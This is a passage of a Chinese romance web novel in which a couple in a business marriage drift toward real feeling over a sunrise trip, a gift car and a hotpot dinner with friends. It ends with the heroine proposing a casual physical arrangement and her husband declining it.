但孟翰泽并不赞同,孟氏是做不锈钢发家的,他希望能够在老本行中与时俱进、创新赋能,实行有限多元化战略,继续走好实业的路子。 两人各持己见,谁也说服不了谁。这次姚德平松口让他和梁氏合作,只是因为想看他跟着梁茂林摔跟头,并不是真的支持。 这个节骨眼上,姚德平进了医院自顾不暇,对于孟翰泽来说是极大的好事,不必担心他在背后使绊子。 梁奚禾没再问怎么有了更多主动权,她听出了他的处境艰难。她与父母的抗争尚且如此艰难,更不要说他还得夺权了。 她心里软软的,不由自主地伸出手覆到了他的肩膀上,鼓舞似的拍了拍。 “不要着急,慢慢来,你肯定行的。” 指甲若有似无地蹭过他的颈侧,好不容易转移注意力压下去的那股劲儿又卷土重来,甚至比刚刚更加汹涌澎湃。 孟翰泽整个身体都僵住,不止是僵,也硬了。 他攥紧手指,维持着屈腿的姿势,竭力放缓了呼吸,不想让她察觉异样。 梁奚禾又说起别的,孟翰泽胀痛得厉害,独自抵抗着邪念,有一搭没一搭地回答她。 看他聊兴缺缺的模样,她也不勉强,翻身回去酝酿睡意。 等耳边传来均匀的呼吸,孟翰泽才翻被下床,去了外面的客卫。 水声响了许久。 花洒终于关闭,他腰间围着浴巾从淋浴房中出来,站在洗漱台前,将镜子上的雾气抹掉,他看到了自己泛红的眼尾。 不论他给自己多少心理暗示,无论给自己关注她、靠近她找多少理由借口,身体的反应骗不了人。 他想要她…… 第二天清晨,天蒙蒙亮,梁奚禾就被公鸡打鸣吵醒。 ……这地方怎么会有鸡啊?! 她简直要暴走。 翻身坐起,旁边连人带被都没了踪影,她蹙眉扬声喊道:“孟翰泽?” 喊了两遍没有人应,她拿过手机给他打电话,接通后直接问:“你去哪儿了呀?” 孟翰泽顿了顿:“……我出来晨跑了。” 没想到她睡着后会这么不老实,一会儿头抵着他的胳膊,一会儿腿探出来梗到他的被面上。明明生病那几天睡姿都挺规矩的。 怕她着凉,孟翰泽就坐起来将她的腿推回去,盖好被子。这样一来,触碰到她的他却又要去客卫。 如此,他几乎一夜没睡,而早上更是最尴尬的时间,他干脆躲出来,借着寒风平复浑身灼烧的感觉。 梁奚禾不知道其中隐情,为他可怕的自律能力感到惊讶。 “冬天哎。”她将手机拿下来看看时间,“你五点多就出门,不冷吗?” 她的声音里还带着刚刚苏醒时的沙哑和慵懒,孟翰泽喜欢听她这样轻声低语,他唇角扬起,柔声问:“不冷。怎么醒得这么早?” 梁奚禾郁闷地吐槽:“这里是不是有野鸡啊?好吵。” 他轻笑出声:“不是野鸡,是邻居养的。” 她不解:“御景湾不是楼王吗?怎么会有人养鸡啊?” 来这里长租的有钱人为的就是“归园田居”,他们亲自种菜喂鱼、养鸡养鸭,在返璞归真的劳作中荡涤浮华背后的疲惫。 所以御景湾就是一片被专业安保、顶级物业管理中的伪自然村落。 梁奚禾服气了,躺回枕头上,完全睡不了回笼觉,干脆和他煲起电话粥。 “是不是快日出啦?” “没这么早,得到六点三刻以后。想出来看日出吗?” 梁奚禾有点心动:“是不是得去山上?要爬山吗?” 她没睡到自然醒,浑身懒懒的,如果要爬山就不去了。 孟翰泽:“我们开妈妈的车去。” 孟淑慧的车被特许开进云开寺,而云开寺的东南角有处梵音崖,正是观海观日出的好去处。 梁奚禾兴之所至,一鼓作气起床穿衣。 电话没断,手机扔在被面上,开着扬声器,孟翰泽嘱咐:“多穿一点,今天挺冷。” “OK,那你也快回来换衣服吧。” “好。”他调转步子往回走,嘴角的笑意没有收过,“我先去满觉院拿车钥匙,顺便拿点东西吃,想吃什么?” 梁奚禾随便拣了一套裤装,边换边回答他:“想吃酸辣粉丝包!” 孟翰泽:“……换一个。” 她夸张地“哼”了一声:“想吃的不让吃,你还问什么问?” 他能想到她变成刺豚的样子,故意逗她:“好,那下次不问了,我拿什么,你吃什么。” “你敢!” 回答她的是他好心情地笑出声。 坐上车,梁奚禾手里被塞了两个厨房刚出锅的热气腾腾的包子,她没急着吃,反倒是眼神灼灼地打量他。 孟翰泽系好安全带,方向盘一打,往小区出口走,狐疑地看她一眼:“怎么不吃?” “快吃,不要饿着,小心胃疼。” 梁奚禾:“我好像第一次听到你的笑声。” 她收回视线靠到椅背上,啃了口包子,荠菜馅儿的肉包,清香鲜美。 她能留意到这一点,孟翰泽心情格外好,笑意又深了几分。 梁奚禾忍不住又看他,这男人不笑的时候不怒自威,让人生出许多距离感,没想到笑起来这么好看。 “哎呀,以后你要多笑笑,非常养眼。” 她夸人也直接,孟翰泽一时不知道怎么接话,笑容也不自然几分。 孟翰泽跟寺里打过招呼,车子直接开到了梵音崖。下了车,再走二十几米就是平日游人如织的观景平台。 两人并肩走,这时身后传来云开寺的晨钟。梁奚禾低头看着他们一致的步调,油然而生一种玄妙的感情。 仿佛能随着这庄严、空灵的钟声跨过千百年的时空。 观景台上已经有好些人在栏杆边等待。 怕她被挤到,孟翰泽站到她的身后,随时出手将旁边地人挡一挡。 天际泛起鱼肚白,太阳从海底升起,晨曦初露。日头以肉眼可见的速度不断升高,光芒愈发夺目,海面铺上了一层碎金。 梁奚禾被这壮观的景象震撼到,她回头找他分享:“太漂亮了!” 孟翰泽笑笑,她不知道,在他眼里太漂亮的根本不是日出。 她想起什么,又转回去,双手合拳放在下巴处,闭上眼睛许愿。 等她重新睁开眼睛,孟翰泽问:“许了什么愿望?” 她狡黠一笑:“有一个大愿望,还有一个小愿望。大愿望不能告诉你,小愿望是妈妈把车还给我。” 天越来越冷,每次出门开杜卡迪有点不现实,她寄希望于两台爱车解封。 孟翰泽胸有成竹地笑笑:“这个愿望好实现。” “怎么?你要帮我跟你丈母娘美言几句那?” 孟翰泽但笑不语。 旁边拍照的人突然后退这挤过来,他眼疾手快地将她拉了过来。 梁奚禾没有防备地撞到了他怀中,瞬间被他温热的气息包围住。 然后,她就忘了自己刚刚问了什么。 第29章 吃过中饭回双子大厦的路上,梁奚禾都分外沉默,孟翰泽看了她好几眼,她都没有察觉。 她不是内耗的人,心里有事理不清思绪就找夏初参谋:【完蛋了,我可能要犯所有女人都会犯的错误了。】 夏初这两天定不下心工作,今天干脆给自己放假,上午来潜水俱乐部久违地参加了一次自由潜的训练,这会儿饥肠辘辘找了家轻食店吃沙拉。 她看到信息单手打字回过去问:【什么错误?】 梁奚禾:【想睡帅哥。】 夏初:“……” 她看向页面左上角灰色圆圈中的数字20,烦躁地沉默了两秒,然后回道:【想睡就睡,睡了就睡了,反正大家都是成年人了,纠结这个干嘛。】 梁奚禾缓缓打出一个问号。 这是她认识的纯爱战士夏初同学说出来的话吗? 她往上翻翻聊天记录,确认对方是嫡亲闺蜜,没聊错人。 夏初又发过来:【哪个帅哥?】 跟着一条:【哪个也无所谓,反正你跟孟翰泽说好了各玩各的嘛。】 正好戳中了梁奚禾纠结的点。 【问题就是说好了各玩各的,结果我想睡他!】 夏初:? 【这算什么问题,别忘了,你们持证上/。床。我誓死捍卫法律赋予你的睡他的权利。】 迈巴赫驶出高架,孟翰泽看到前方的红灯开始减速。梁奚禾由于惯性微微向前倾身,没有第一时间看清这段话。 等到看完整,她不敢置信,又逐字逐句拜读了一遍。 【你是夏初吗?】 【废话,不然我是谁?】 【我看你像发/。春。】 夏初一滞,将叉子往玻璃碗中一扔,靠在椅背上郁闷。 要不怎么说人在闺蜜面前没有秘密呢?她自以为深藏不露的事情,三言两语就被梁奚禾察觉到了苗头。 她抓了一把头发,泡过泳池的水,俱乐部又没有有效护发的产品,头发此刻干得发涩,就像她这会儿觉得难以启齿的嘴唇。 沉默中,她又收到梁奚禾的信息:【不是说好请你和虞律吃饭吗?择日不如撞日吧。】 夏初大惊,还没来得及拒绝就看到她在良梦于夏群里发:【今晚诚邀二位到双子大厦东楼68F食光臻味餐厅共进晚餐。】 食光臻味是麦伯伯的产业,梁奚禾知道他常年空着一间包厢留给自家老爸,而梁茂林今天陪奚云岚飞了港城,说是要给她准备嫁妆。 群里,虞高旻第一个响应:【多谢孟太盛情,要不几位来我家吧,我来露一手。】 梁奚禾请客哪有去人家家里让人破费的道理,她打了几个字想说下次吧,孟翰泽停好了车,捞起振动的手机回道:【好。】 梁奚禾惊讶转头:“他们说要替我们庆祝,那应该我们请客。” 孟翰泽顿了顿:“虞高旻醉翁之意不在酒,帮帮他。” 梁奚禾:? 下了车,她还在兀自琢磨,孟翰泽走到她身边。 “看看,喜欢吗?” “什么?” 她抬眸顺着他的视线往前看,红色的法拉利与绿色的阿斯顿马丁旁边多了一部超跑,黄色的兰博基尼。 梁奚禾顿住脚步:“这车?” “给你代步。” “你送我的?” 孟翰泽实话实说:“我想送的还没到货,这是我从康弘信那里赢来的,你先开着。” 梁奚禾捕捉到那句话:“你想送的?” “嗯,订制了一辆布加迪。” 话一出口,孟翰泽对自己极其无语。虽然也没预备把这件事当成惊喜放送,但这样说出来未免也太公事公办了点,像给下属派送公务用车。 他暗自蹙眉,从来没有追过女孩子,要学的东西太多了。 梁奚禾粗略地在心里过了一遍,又是转账又是送车,他已经砸了八位数过来。如果说这些都是道具,未免成本也太高了点。她如今只是啃老的二代,作为合作伙伴,并没有同等能力礼尚往来。 她特别想追问清楚,干脆扬起头直视着他的眼睛:“为什么想送我东西?” 孟翰泽在她的眼神里没有再看到拒绝以及戒备,他觉得意外,又生出无限喜悦。 “因为想送。” 他说,“没什么理由。” 梁奚禾挑眉。 这个回答超出了她心里预设的几种答案。她以为轻则他会说“我作为合作伙伴的诚意”,这个已经不是第一次,重则会说“梁奚禾,我想追你”,这个她还不知道该怎么回答。 结果只是……因为想送? 说了也白说,那到底是因为什么想送? 孟翰泽下巴朝那辆兰博基尼微抬:“去看看吧。” 梁奚禾就没再问,看了他一眼,走向新车。 如果他真有什么意思就等他自己说好了。眼下她最该弄清楚的不是他对自己的想法,而是自己对他的打算。 孟翰泽看着她的背影,猜不透她那个意味深长的眼神是什么意思。 他刚刚想直接说想追她,可想想,送车这些事情与他想追她无关。不是因为想追她才会送车,也不会因为送了车他就觉得自己有资格追她。 送车是因为她需要。 想追她是因为他心动。 表达感情不需要道具,他也不会用这种可以用金钱量化的产品来告诉她,他对她的感情现在涨到了什么价位。 梁奚禾试坐了驾驶室,启动车子后挂在空挡上踩了几下油门。感受了美妙的声浪,她满意地下车,抚了抚引擎盖:“谢谢孟总。” 孟翰泽站在车头等她:“以后不用说谢谢。” 梁奚禾不置可否地噙着笑意走向他,结果却在瞥到车牌时脸色一变。 宁ALXH62 她顿住脚步抿唇:“这车牌你选的?” 孟翰泽点头,简腾来请示的时候,他想的她名字首字母和生日的组合。 梁奚禾霎时黑脸,冲口而出:“你才陆二呢!” 瞪了他一眼,她折身往东楼走,路过杜卡迪的时候心想,他还不如像夏末他们一样选个01,001的呢。 对于小刺豚的突然翻脸,孟翰泽这会儿确实丈二和尚摸不着头脑,他大步跟上去,扣住她的手腕。 “禾苗,怎么了?” 梁奚禾张开了尖刺:“你不了解我,以后就不要自作主张。” 她是6月2号出生的没错,可从十岁以后就从来不在这一天过生日。 因为小时候每次惹妈妈生气,奚云岚总是说:“梁奚禾,我是生了个陆二吗?早知道我提前两天把你剖出来算了。” 陆二,在方言里是笨蛋、傻瓜的意思,贬义。 长大后梁奚禾读了一些研究母女关系和心理学方面的书籍,知道奚云岚属于“挑剔型家长”,她已经学会和很多负面情绪和解。 但是,“陆二”这个词就像耻辱柱上的一张铭牌,她至今仍是讨厌至极,是无法触碰的逆鳞,要让她带着“梁奚禾陆二”的车牌四处游走,不如直接杀了她。 “好,抱歉,以后我不会自作主张。” 不知发生了什么的孟翰泽第一时间认错,柔声说道,“我会努力了解你的喜好。” 他态度好到几乎有些低声下气,梁奚禾一愣。 “那现在请告诉我,禾苗你在因为什么生气?车牌?不喜欢吗?” 她的怒气值下降,但仍旧撇过头。 “孟翰泽,我不喜欢我的阳历生日,只过农历。对我来说陆二就是骂人的数字,你以后不要跟我提起。” 孟翰泽很快明白过来,她的反应如此强烈大概是应激反应。 “好。抱歉禾苗,之前我不知道,以后绝对不提。车牌明天就换掉。” 他认错态度极其良好,梁奚禾反而有点尴尬,不知者不罪,她刚刚确实太凶了点。 她清了清嗓子,转移话题:“你说虞律师醉翁之意不在酒,帮帮他,是什么意思?” 孟翰泽对她知无不言,没有犹豫直接将虞高旻卖了。 “他喜欢你的朋友。” 梁奚禾:?? “虞律师喜欢夏初?” “嗯。” 因为在夏初那里从来没听说过这号人,还是她让夏初帮忙找律师,才见到了这位虞律师,她以为这只是夏初的人脉,谁知是追求者。 傍晚,孟翰泽拎了一瓶Hennessy的RichardCognac,与梁奚禾一齐到了虞高旻家。 进门,寒暄客套了两句,虞高旻:“夏初还没来,你们随意,我去备菜。” 孟翰泽看着餐桌上摆着的火锅和牛羊肉包装品,没忍住吐槽:“这就是你说的露一手?” 没听到回答。 虞高旻在厨房里将生菜叶子一片一片掰下来冲洗,神色认真,脑海里却在拼命打腹稿。 “夏初,你怎么不接我电话,也不回我消息?” “那天晚上我是喝多了,但不是酒后乱性,准确来说是情难自禁。” “你知道吗?上大学的时候,我就对你有好感,不然不会大四了还赖在社团里不走。” “你就当我是懦夫吧,怕被你拒绝,拖了这么多年不敢告白。” “我确实有点自卑,你太优秀,事业心进取心都比我强,我完全不想碰家里的生意,就想做点喜欢的事情。” …… 他在法庭上可以流利地陈述与辩护,面对夏初时却不敢将脑子里的长篇大论和盘托出,甚至下午她在群里说会来赴约后,他就浑浑噩噩地不知做些什么好。 两道拿手菜做完,味道差到没办法吃后,才临时改成了吃火锅。 夏初杵在灰色的大门前作了几次深呼吸,几天前她在这里留宿了,故地重游,那晚零星的片段纷至沓来,让人无端地烦躁。 烦什么呢夏初! 睡都睡了,要么对人家负责,要么就想办法买单,纠结什么! 她深吸一口气,做足了面对的准备,摁了门铃,没想到来开门的是梁奚禾,她顿时又像泄气的皮球一样塌下了肩膀。 “夏初,你来啦!” 虞高旻听到门铃迎出厨房,见到她,手脚都不知道往里放,更不要说想起预设的台词。 “你,你先坐,我,我还有一个菜,马上,马上开饭!” 夏初回避着他的视线,不冷不热地“嗯”了一声。 两人之间微妙的气氛,梁奚禾和孟翰泽也感受到了,交换了一个视线,梁奚禾开口:“你饿不饿?先吃点水果?” 闺蜜就在这里,快憋死了的夏初忍不住一吐为快,她朝孟翰泽点头致意,拉着梁奚禾就往主卧走,主卧联通了一个露台,她想去那里。 梁奚禾不知道,扯住她:“那是人家卧室,进去干嘛?” 夏初脚步不停:“我都睡过一晚了,有什么不能进的?” 梁奚禾脚下差点打了个趔趄,到了露台上,她问:“你说的睡过一晚了,是我理解的那个意思吗?” 夏初抱着胳膊:“没错,就是你说想睡孟翰泽的那种睡。” 第30章 虞高旻将洗好的菜端出来放到桌上时,眼神不由自主地在客餐厅中逡巡。 哪里都没看到夏初,担心她来了又走了,他差点把蔬菜拼盘放到火锅里去,还好孟翰泽眼疾手快地托住。 “你怎么了?” 孟翰泽接过蔬菜拼盘,莫名其妙地问道。他一副魂不守舍、心事重重的样子,心上人来家里吃饭也不至于这样。 “夏初人呢?”虞高旻紧张地问道。 “跟禾苗到房间里去了,两人有话说吧。” “哦哦。抱歉。” 虞高旻这才收回视线,垂眸将桌上的备菜一样一样码整齐,手上做着可做可不做的闲事,明显的心不在焉。 孟翰泽看他一眼,尊重隐私没有继续追问,转移话题:“开什么酒?” 虞高旻准备了红酒,加上他带来的白兰地,餐桌一角摆了两瓶酒备选。眼前的人心里有事,免得一会儿伤了手,他准备帮忙开酒。 几天前应酬喝酒误了大事,虞高旻这几天甚至今后可能都不敢再喝,只道:“看你们两口子想喝什么。” 他猜夏初应该也不会想喝。 孟翰泽:“禾苗不能喝酒,我开车。” 虞高旻:“……那等会儿问问夏初,她喝什么我喝什么。” “嗯。” 两个男人对坐在餐桌两侧。孟翰泽本来就话少,虞高旻也难得沉默,餐厅里一片寂静。 与此同时,露台上却是聊得热火朝天。 夏初言简意赅地说了那晚的“脱轨”,抒发自己郁闷的心情。 “我不是说封建,要把第一次看得多么重要,必须留给以后的丈夫。我只是不想随随便便跟一个没有感情的人发生亲密关系。好吧,想不想都已经发生了,我也能接受。我郁闷的点不在于这个,在于不知道怎么结束这个意外。” 她话锋一转,“你说我转他多少钱合适?” 梁奚禾:? “什么意思?你当他是……” “鸭子”两个字她马上吞了回去。 夏初也觉得这样挺侮辱人的,那晚两人互相取悦,谁也没吃亏,要是换作虞高旻拿转账打发她,她一定通知银行准备好等额+1块钱现金,不管他在法庭还是在事务所,她肯定亲自找过去,一叠一叠砸在他脸上,最后把多出来的一块钱,对着他的大脑门扔到眉心上去。 “但是感觉转账是最一劳永逸的。他给我发了好多好多信息,烦死了,这事情还没完了,我哪有空天天陪他说这说那。” 她正在为拿下跟倪家的合作而攻坚克难,那天如果不是在跟倪家太子爷的应酬上喝了混酒,也不至于散场后在酒店停车场吐得昏天暗地。 因为瞒着父亲,她单枪匹马赴鸿门宴,连司机都没带,幸好碰到了虞高旻,不然神志不清的她还不知道会发生什么。 夏初抿了抿唇:“当然现在的情况也好不到哪里去,有时候睡熟还不如睡生。” 她感觉以后跟虞高旻朋友都没得做了。 梁奚禾突然问道:“你想跟倪家合作什么?” “我想成为倪家连锁餐厅的供货商。” 夏家主要做蛋糕甜品,虽然在全国已经有了两三百家门店,但主要集中在宁市附近几个城市,品牌一直不温不火。 而倪家的连锁餐厅却遍布全国,听说他们有意将饭后甜点外包,夏初就想借由他们这个平台扩大夏氏的影响力。 和她的积极争取不同,夏爸并不愿意走这条路。倪家的规模太大,夏氏还没有这样的生产能力满足他们的需求,一旦达成合作,要么夏氏押上全副身家在短期内扩大生产规模,要么就放弃门店的供货专门为倪家服务。 两者都不符合夏爸稳扎稳打的风格,可夏初是有野心的,不愿意放过这个好机会。 梁奚禾想了想,问道:“那如果你拿下跟倪家的合作,想好下一步了吗?” “嗯,想好了。” 涉及商业决策,夏初没有多说,梁奚禾也能理解,她点点头表示知道了。 夏初叹了口气又说回私事:“我今天不想工作,就想把这事解决了。” 梁奚禾:“那你今天答应过来吃饭,心里总该有打算吧。” 要不怎么说闺蜜是了解自己的人呢,夏初:“我来之前打算吃好饭先把他单独叫到露台上聊聊,有你们在,他应该不会太过纠缠。到时候能说清楚最好,说不清楚我就转账,转完就走,你们帮我拦着人。” 梁奚禾想起孟翰泽给的情报,旁敲侧击:“听起来虞律最近经常找你?他是真的喜欢你吧?” 说起这个夏初就头痛:“他确实说让我跟他在一起试试,但我不想,他实在是太黏人了。还不是我男朋友呢,早中晚都要发信息。” 梁奚禾也不喜欢这种黏人精,深表赞同:“那就按你的原计划行事。” “好,那说说你吧。”夏初挑眉看向梁奚禾,“你什么打算?” 梁奚禾靠在栏杆上,回想这段时间她的脑细胞记录下来的孟翰泽。 俊美的五官,宽肩窄腰的好身材,每次两人贴近时她耳尖的热意和感受到的荷尔蒙骗不了人。 她分析:“我可能是到了如狼似虎的年纪,只靠玩具自我疏解不够过瘾,想试试真刀真枪了。” 夏初脑海里不由自主地回想起第一次真刀真枪的零星片段。 初始虞高旻毫无章法,她又痛又涩是真的不舒服,可后来他无师自通地渐入佳境,她终于知道什么是快乐。 她揉揉眉心,很客观地负责任地说:“玩具是死的,男人是活的,后者肯定更好玩。” 她第二天早上在回家路上其实还有点意犹未尽,如果不是虞高旻下了床太过于热情,她也不会被吓得要退避三舍。 两人的情况不同,夏初说道:“你们俩说是说各玩各的,其实也没真的玩什么,那干嘛不一起玩?” 梁奚禾本就蠢蠢欲动的心,就这样又被拱得火上浇油。 餐厅里,沉默了许久的两个男人终于找到话题,是孟翰泽起的头。 “你打算怎么追女孩儿?” 为了表示自己不是八卦,他大大方方地说,“我想追我老婆,跟你取取经。” 他神情严肃,虞高旻愣住。换作以前,他肯定要调侃一句“铁树开花了啊”,现在是没心情了。 他走去餐边柜拿了个杯子,在直饮水龙头上倒了杯水,吨吨吨地灌了几口才坐回去,苦笑道:“孟总,你千万不要步我后尘,我先上了车,还不知道能不能补到票。” 孟翰泽:? 他对这种话不能秒懂,仔细思索才知道什么意思,看向虞高旻的眼神里有浓重的意外。 虞高旻正需要找人说说:“完全是个意外,夏初没做好心理准备,我也没有。但事情已经发生了,我不可能再像以前那样循序渐进,我必须得告诉她,我喜欢她,想跟她在一起。” 可是夏初对他的告白的认知,是觉得他是出于负责任,或者那晚感觉不错还想继续。 “我陷入了自证困境,不知道做什么。女孩子嘛总是期待纯真的美好的感情,性关系应该是相处相知相恋之后水到渠成的事。一旦调换了顺序,想走近她们的心就变得很难了。” 这问题在孟翰泽这里不存在,他不是急色的人,根本没打算调换顺序。 他也不知道该怎么跟虞高旻探讨这个问题。客餐厅又恢复了沉默。 等梁奚禾和夏初回到餐桌边,一顿锅子热火朝天、气氛似水如冰的火锅局正式开始。 席间,虞高旻想给夏初夹菜还要绕个大圈子,他把持着漏勺,捞了涮好的菜就先给梁奚禾与孟翰泽,再假装自然地给到夏初。将所有人照顾得周到,最后自己没吃几口。 孟翰泽也吃得不多,让虞高旻尽量把菜给两位女士,他则负责涮。 虞高旻心思都在一个人身上,孟翰泽拦了几次,他还会捞了辣锅里的东西送给梁奚禾。 孟翰泽没忍住:“你照顾夏初吧,禾苗不能吃辣,我管她。” 虞高旻和夏初都是一顿,梁奚禾叉了个手打牛肉丸子慢慢吃着,眼神在他俩之间游移。 虞高旻顺理成章开始顾着夏初,夏初连说了三次“谢谢,不用”后也不再客套。梁奚禾觉得他俩的化学反应不太像老死不相往来的。 饭后,夏初和梁奚禾对了眼神,按照原计划将虞高旻叫去了露台。 虞高旻这里没有住家阿姨,孟翰泽给梁奚禾洗了车厘子后,轻微的洁癖和强迫症迫使他着手帮忙收拾餐桌。 梁奚禾倚在餐边柜上,看着他将垃圾干湿分离,干垃圾收拾好放在门口,待会儿带出去,湿垃圾倒进水池,底下有厨余处理器自动处理,锅碗瓢盆则放入洗碗机。 他今天不上班,穿着羊绒衫和休闲裤。羊绒衫将肌肉线条完全勾勒,干活撸着袖子的时候,还露出来精瘦有力的小臂。 更不用提那双赏心悦目的手了。 梁奚禾越看越觉得夏初说得有道理。 她又不是海王,外面也没有招惹什么妖艳美男,干嘛放着这样颜值、身材、能力、人品都万里挑一的男人不碰? 孟翰泽洗净手走出厨房就发现她盯着自己,眼神诡异,诧异地挑眉:“怎么了?” 梁奚禾没有收敛目光中的不同寻常,她捏了一颗车厘子递到他嘴边。 “吃吗?” 孟翰泽一愣,反应了两秒抬手接过,指尖擦过了她的手指,他喉头滚动,借着吃车厘子掩饰。 梁奚禾收回手,看向露台。从她这个角度能看到夏初的一片衣角,但看不到那两人。 也不知道夏初谈得怎么样了? 她有点着急回家。 孟翰泽不知内情,他跟虞高旻是冰球俱乐部的队友,关系挺好,不用太在意什么礼节。看她频频看露台,他以为她等着跟人家告辞,便道:“想回去了吗?我们直接走就行。” 梁奚禾:“再等会儿吧。” 她不了解虞高旻,不放心把夏初一个人留在这里。 这时,手机振动,她查看信息。 夏初:【你们先回去吧。我今晚不回了。】 梁奚禾大惊,发了三个问号过去。 【他说以后只在我传唤的时候见我,我觉得可以考虑。还要约定下细则,你们先走吧。我现在也不好意思见你。】 梁奚禾:“……” 既然这样,她不能杵在这里让闺蜜继续不好意思,跟孟翰泽先离开。 回去的路上,梁奚禾跟早上一样沉默,不同的是,下车后她随着他一起上了西楼。 进了家门,孟翰泽从鞋柜里给她拿拖鞋,梁奚禾背靠着门盯着他,后退着将门关上。 “孟翰泽。”她喊道。 “嗯?”他将拖鞋放到她脚下,下意识地抬眸看她。 梁奚禾居高临下地发问,眼里冒着绿光。 “孟翰泽,你洁吗?” 30-40 第31章 闻言孟翰泽缓缓站起,梁奚禾一直锁视着他的眼睛,不错过一丝一毫的微表情。 他似是思考了两秒,随后微不可察地皱眉,眼底露出清晰的疑惑。 然后向她虚心请教:“什么意思?” 还在有点子期待的梁奚禾:“……” 差点忘了,虽然两人只相差六岁,但语系可能……不属同一个年代。 上网只看政治、财经新闻的老古板显然在这种方面的词汇储备等于零,此时表情认真严肃,眼神沉静中满透着朴实的真诚,等着她的解惑。 梁奚禾那句简单直白的“就是问你是不是处。男”顿时卡在喉咙里。 她觉得自己像放浪形骸的女妖,对面的人却一身正气,尚未意识到她正在试图越过边界,准备强取豪夺他这得道高僧的阳气。 ……那就继续夺呗! 她看他一眼,蹬掉了鞋子直接踩在地砖上,食指勾住他大衣的口袋,用了点劲将他往沙发那边带。 孟翰泽却伸手扣住她的手腕:“等等。”眼神示意她脚下,“先穿上。” 梁奚禾:“……” 她都想将他吃拆入腹了,他还在操心她有没有穿鞋。有地暖呢,不穿鞋也不会着凉好吧。 但她没有浪费时间去争辩这种小事,看都没看一眼拖鞋,飞快地趿拉进去。 将人领到客厅,让他坐到沙发上。 孟翰泽悉听尊便,表现得十分顺从,只是仰着头疑惑地看她。 梁奚禾抱起胳膊睥睨着他,两人的膝盖几乎顶在一起。 她开口说道:“孟翰泽,你知道我从来不用二手的东西,对吧?” 他点点头。 “那么……你呢?” 她说这一句话时尾调拖得长长的,顺带用葡萄眼上下扫视了他一遍,明示加上暗示,强烈的循循善诱的意味,孟翰泽这才后知后觉地明白过来。 “……” 他一时不知该做什么表情,心脏却控制不住地加快跳动。对视两秒后到底没好意思再看她,视线移开又不知道该落到客厅的哪一处,在她的眸光里蜷了蜷手指后虚虚握拳放到唇边,不自然地清咳了一声。 梁奚禾将这视作心虚,挑眉直接问道:“不洁了?” 孟翰泽一噎,下意识地驳道:“当然不是。” 否认后,饶是孟大总裁经的见的大场面多了去了,也不知道该怎么继续正面回答她这样的问题,佐证自己的“供词”。 头顶的目光似有千斤重,压得他很是头疼了片刻,轻叹了一口气,起身。 “稍等禾苗,我去下书房。” 梁奚禾留在原地目送他上楼,从不复稳重的紊乱的步频留意到他泛红的耳朵,终于抿唇笑起来。 对他的答案,她是满意的。 只是没想到,都三十岁的老男人了,怎么还这么纯情? 想到这里,她原本还在鼓噪的心跳顿时变得游刃有余起来。 她之前也因为荷尔蒙的分泌有过不好意思,但这会儿明显比他坦然自若许多。 食色,性也。在这个年纪对异性有冲动实在太正常了,尤其大家都单身,更何况亲密关系还有法律背书。 她坐到沙发上,边等他边悠哉悠哉地端详着自己的指甲,已经长了一截,明天要约美甲师上门重新修理。 正放空着,孟翰泽捏着一份文件下楼。 他站到她面前,将手里的文件递过来,到底没好意思多说什么。 梁奚禾分了个眼神到文件上,瞥到“体检报告”四个大字,狐疑地看了他一眼,拿过来翻阅。 心肝脾肺肾的B超做了,血项从最常规的红白细胞到甲乙丙丁戊肝的病毒抗体测定都有,翻到最后,竟然还有梅。毒、艾。滋、hpv等几种会通过性。传播的病毒的筛查…… 看到这里,梁奚禾惊讶了一下,随口问道:“你的体检项目怎么查了这么多?” 孟翰泽喉头一滚:“签协议前两天去做的体检,以为你会想看。” 签协议当天体检报告跟忠诚协议放在一起,本来想一块儿给她,但她都没要。 梁奚禾明白过来,心下意外,又觉得他这副认真的样子可爱,嘴上却明知故问:“给我看这个做什么?” 孟翰泽为人严谨,工作中向来不说空口无凭的话,凡事习惯了用数据说话,但这会儿拿出了这些数据又该怎么说,他却一时讷言。 坦陈他一开始没打算跟联姻的妻子谈感情,但如果对方想要好好过日子,想像平常的夫妻那样生儿育女,他也愿意配合? 想起虞高旻的前车之鉴,他现在的想法已经跟当初截然不同,再说这些,让她误会自己只是出于履行丈夫的义务,完全没必要。 所以他回答不出。 梁奚禾却早已恍然大悟,看他越来越红的耳朵,心情甚好。 难怪有人喜欢撩拨高岭之花,原来看到一贯寡淡的人脸上因为自己出现可疑的红晕,露出那种不复冷静自持又拼命克制的窘态,是这么……有成就感的事。 她觉得自己恶趣味,又忍不住更恶劣一点。 梁奚禾合上报告还给他,起身将他推了一把,结果一身肌肉硬邦邦的,没推动。 “……” 她仰头,指示,“你坐下。” 孟翰泽后退一步,坐到一旁的单人沙发上。 交换了视角的高度,她稳稳占据着上风,双臂撑在扶手上,微微俯身凑近他的脸庞。 “原来这是一份入职体检啊,所以……孟总一开始就没打算跟我‘各玩各的’,对吗?” 她的气息伴随着贴近的姿态,极具侵略性。 孟翰泽不由自主地往后靠到沙发靠背,目光凝在她的唇珠上,有些不敢直视那双笑盈盈的葡萄眼,那里头满是狡诈…… 他并不是对手。 梁奚禾乘胜追击,越发贴近他,近得他的睫毛根根分明,她逗弄的心思不歇,勾唇坏笑:“孟总怎么不早说?或许我会考虑跟你假戏真做呢?” 孟翰泽退无可退,只能略偏过头避其锋芒,活像受了妖精胁迫的唐三藏。 “干嘛不敢看我?”梁奚禾胜券在握,说话气场全开,也给足了诚意,“孟总,我虽然话说得嚣张,实际并不是海王,相反,我是宁缺毋滥的那一类人。当初跟你说联姻不联系,也是不希望因为婚姻上的合作错过有感觉的人。” 这句“有感觉的人”让孟翰泽振作起来,吐纳一下后回视她,带着期待,心跳如鼓。 她问,“今晚我们要不要就婚前协议聊聊补充条款?” “……补充什么?” 他尚未想明白如何循序渐进地追求她,她今晚突如其来的进击让他的思绪跟心跳一样乱,被动地被她牵着,跟着她的节奏走。 梁奚禾没错过他声音的细微变化,增添了点哑意,平日里老成持重的男人束手就擒时就像未经人事的小男生一般,不对,她自我纠正,他就是未经人事,所以这般可爱。 而同样未经人事的她,此时却像个中老手一样,说着老道的却又新潮的话。 “既然你没有性。伴侣,我也没有,要不要考虑一下合作解决生理需求?” 她伸出一根食指在他的下巴上一勾,“毕竟大家都是身体健康,有正常……” 她的话尚未说完,手指就被孟翰泽一掌握住,推开了两拳距离。 他的表情瞬间又变回肃然,梁奚禾一愣。 孟翰泽很快松开她的手,偏过身从空隙中起身,站在她面前,视线居高临下地说道:“禾苗,我不打算跟你进行这种合作。” 志在必得、胸有成竹的梁奚禾顿在原地,霎时间不见了笑意。 